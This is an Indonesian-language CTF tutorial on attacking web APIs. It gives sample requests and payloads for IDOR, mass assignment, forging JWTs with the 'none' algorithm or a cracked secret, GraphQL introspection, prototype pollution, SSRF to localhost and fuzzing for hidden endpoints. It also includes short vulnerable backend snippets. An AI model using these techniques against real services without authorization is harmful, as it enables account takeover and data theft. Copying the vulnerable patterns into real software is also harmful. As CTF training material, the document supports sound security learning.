

API Attack dalam CTF Jeopardy

API Attack adalah teknik eksploitasi terhadap endpoint API (Application Programming Interface) untuk mendapatkan akses ilegal, data sensitif, atau bahkan remote code execution.

Dalam CTF Jeopardy kategori Web Exploitation, challenge API biasanya berbentuk:

- REST API
- GraphQL API
- Mobile Backend API
- JSON API
- JWT Authentication API
- Internal Admin API
- Microservice API

Biasanya targetnya:

- Mendapatkan flag
- Bypass authentication
- Mengakses endpoint admin
- Membaca data user lain
- Menjalankan command di server
- Menemukan hidden endpoint

Konsep Dasar API

Contoh API sederhana:

GET /api/user/1 HTTP/1.1

Host: target.com

Authorization: Bearer token123

Response:

```
{  
  "id": 1,  
  "username": "asep",
```

```
"role": "user"
}
```

API biasanya menggunakan:

- JSON
- JWT
- Token
- Session
- API Key

Jenis API Attack di CTF

1. Broken Authentication API

Kesalahan autentikasi API.

Contoh Challenge

Request login:

POST /api/login

Content-Type: application/json

```
{
  "username": "admin",
  "password": "admin"
}
```

Response:

```
{
  "token": "eyJhbGciOi..."
}
```

Kadang challenge memiliki:

- password default

- weak JWT secret
 - predictable token
-

Eksplorasi

Gunakan token:

GET /api/admin

Authorization: Bearer eyJhbGciOi...

Jika berhasil:

```
{  
  "flag": "FLAG{admin_api_access}"  
}
```

2. API IDOR (Insecure Direct Object Reference)

Sangat umum di CTF.

Challenge

GET /api/orders/1001

Authorization: Bearer user_token

Response:

```
{  
  "owner": "asep",  
  "item": "Laptop"  
}
```

Coba ubah ID:

GET /api/orders/1002

Response:

```
{  
  "owner": "admin",
```

```
"flag":"FLAG{idor_api_found}"
}
```

Penyebab

Server tidak memverifikasi kepemilikan object.

Contoh kode vulnerable:

```
@app.route("/api/orders/<id>")
```

```
def order(id):
```

```
    return db.get_order(id)
```

Tidak ada:

```
if order.owner != current_user:
```

```
    deny()
```

3. Mass Assignment

User bisa mengubah field tersembunyi.

Challenge

Request register:

```
{
  "username":"asep",
  "password":"123"
}
```

Namun backend langsung menerima semua field:

```
user = User(**request.json)
```

Eksplorasi

Tambahkan field:

```
{
```

```
"username":"asep",  
"password":"123",  
"role":"admin"  
}
```

Lalu login.

Response:

```
{  
  "role":"admin"  
}
```

Akses:

GET /api/admin

Flag:

```
{  
  "flag":"FLAG{mass_assignment}"  
}
```

4. JWT API Attack

Sangat sering muncul.

A. JWT None Algorithm

Header JWT:

```
{  
  "alg":"none"  
}
```

Payload:

```
{  
  "username":"admin"  
}
```

Jika server menerima JWT unsigned:

```
{  
  "flag": "FLAG{jwt_none_bypass}"  
}
```

B. Weak Secret JWT

Bruteforce secret:

jwt-cracker token.txt

Atau:

hashcat

Jika secret ditemukan:

secret123

Buat token admin.

5. Hidden API Endpoint

Challenge sering menyembunyikan endpoint.

Discovery

Gunakan:

ffuf

ffuf -u http://target.com/api/FUZZ -w wordlist.txt

Menemukan:

/api/debug

/api/internal

/api/admin_backup

Eksplorasi

GET /api/debug

Response:

```
{
  "flag":"FLAG{hidden_api}"
}
```

6. GraphQL API Attack

GraphQL sangat populer di CTF modern.

Introspection Attack

Query:

```
{
  __schema {
    types {
      name
    }
  }
}
```

Menampilkan seluruh schema.

Menemukan Hidden Query

```
{
  adminFlag
}
```

Response:

```
{
  "data":{
    "adminFlag":"FLAG{graphql_leak}"
  }
}
```

```
}
```

7. Rate Limit Bypass

API login memiliki brute force protection lemah.

Challenge

POST /api/login

Bruteforce password:

hydra

Kadang bypass dengan:

- X-Forwarded-For
 - Multi-thread
 - Null byte
 - Race condition
-

8. API Key Exposure

API key bocor di frontend JavaScript.

Contoh

File:

```
const API_KEY = "sk_live_123456";
```

Gunakan:

GET /api/admin

X-API-Key: sk_live_123456

Response:

```
{  
  "flag": "FLAG{api_key_exposed}"  
}
```

9. Prototype Pollution API

Pada Node.js API.

Payload

```
{  
  "__proto__":{  
    "admin":true  
  }  
}
```

Jika backend vulnerable:

```
if(user.admin)
```

Menjadi true.

10. API SSRF

API menerima URL dari user.

Challenge

POST /api/fetch

Payload:

```
{  
  "url":"http://127.0.0.1/admin"  
}
```

Server mengakses localhost internal.

Response:

```
{  
  "flag":"FLAG{api_ssrf}"  
}
```

Workflow API Exploitation di CTF

Biasanya langkahnya:

1. Mapping Endpoint

Cari:

- /api
- /v1
- /graphql
- /swagger
- /openapi.json

Tools:

- Burp Suite
 - ffuf
 - dirsearch
-

2. Analisa Request/Response

Perhatikan:

- token
 - role
 - id
 - hidden field
 - verbose error
-

3. Ubah Request

Coba:

- ubah ID
- tambah parameter

- ubah role
 - ubah JWT
 - replay request
-

4. Cari Logic Flaw

Contoh:

- admin=false → admin=true
 - user_id=1 → user_id=2
 - hidden endpoint
-

Tools API Attack

Burp Suite

Paling penting.

Fitur:

- Repeater
 - Intruder
 - Decoder
-

Postman

Testing API manual.

ffuf

Fuzzing endpoint.

```
ffuf -u http://target/api/FUZZ -w wordlist.txt
```

jq

Format JSON.

```
cat response.json | jq
```

JWT Tool

Manipulasi JWT.

jwt_tool token

Contoh Challenge API Lengkap

Soal

Terdapat API:

GET /api/profile/1

Authorization: Bearer user_token

Response:

```
{  
  "username": "asep",  
  "role": "user"  
}
```

Hint:

Admins can access /api/admin

Langkah Eksploitasi

Step 1 — Cek JWT

Decode:

```
{  
  "username": "asep",  
  "role": "user"  
}
```

Header:

```
{
```

```
"alg":"HS256"
}
```

Step 2 — Bruteforce Secret

Ketemu:

secret123

Step 3 — Buat Token Admin

Payload:

```
{
  "username":"admin",
  "role":"admin"
}
```

Step 4 — Access Admin API

GET /api/admin

Authorization: Bearer new_admin_token

Response:

```
{
  "flag":"FLAG{api_pwned}"
}
```

Hal yang Harus Diperhatikan Saat CTF API

Selalu cek:

- hidden parameter
- JWT
- GraphQL introspection
- numeric ID

- verbose error
 - undocumented endpoint
 - role field
 - API version lama
 - HTTP method berbeda
-

Red Flags API Vulnerable

Contoh tanda-tanda vulnerable:

Error Verbose

```
{  
  "error": "SQL syntax error near ..."  
}
```

Response Berlebihan

```
{  
  "username": "asep",  
  "password_hash": "..."  
}
```

Hidden Debug Endpoint

/api/debug

Kombinasi API Attack

Challenge sering menggabungkan:

- JWT + IDOR
- SSRF + Internal API
- GraphQL + Auth bypass

- API Key leak + Admin API
 - Mass Assignment + Privilege Escalation
-

Skill Penting untuk API CTF

Pelajari:

- HTTP
 - JSON
 - JWT
 - REST
 - GraphQL
 - Burp Suite
 - Authentication flow
 - Authorization logic
 - Race condition
-

Kesimpulan

API Attack dalam CTF biasanya fokus pada:

- Logic flaw
- Broken authentication
- Broken authorization
- Hidden endpoint
- JWT abuse
- Parameter tampering

Karena API sangat bergantung pada trust antar request, sedikit kesalahan validasi bisa menyebabkan full compromise.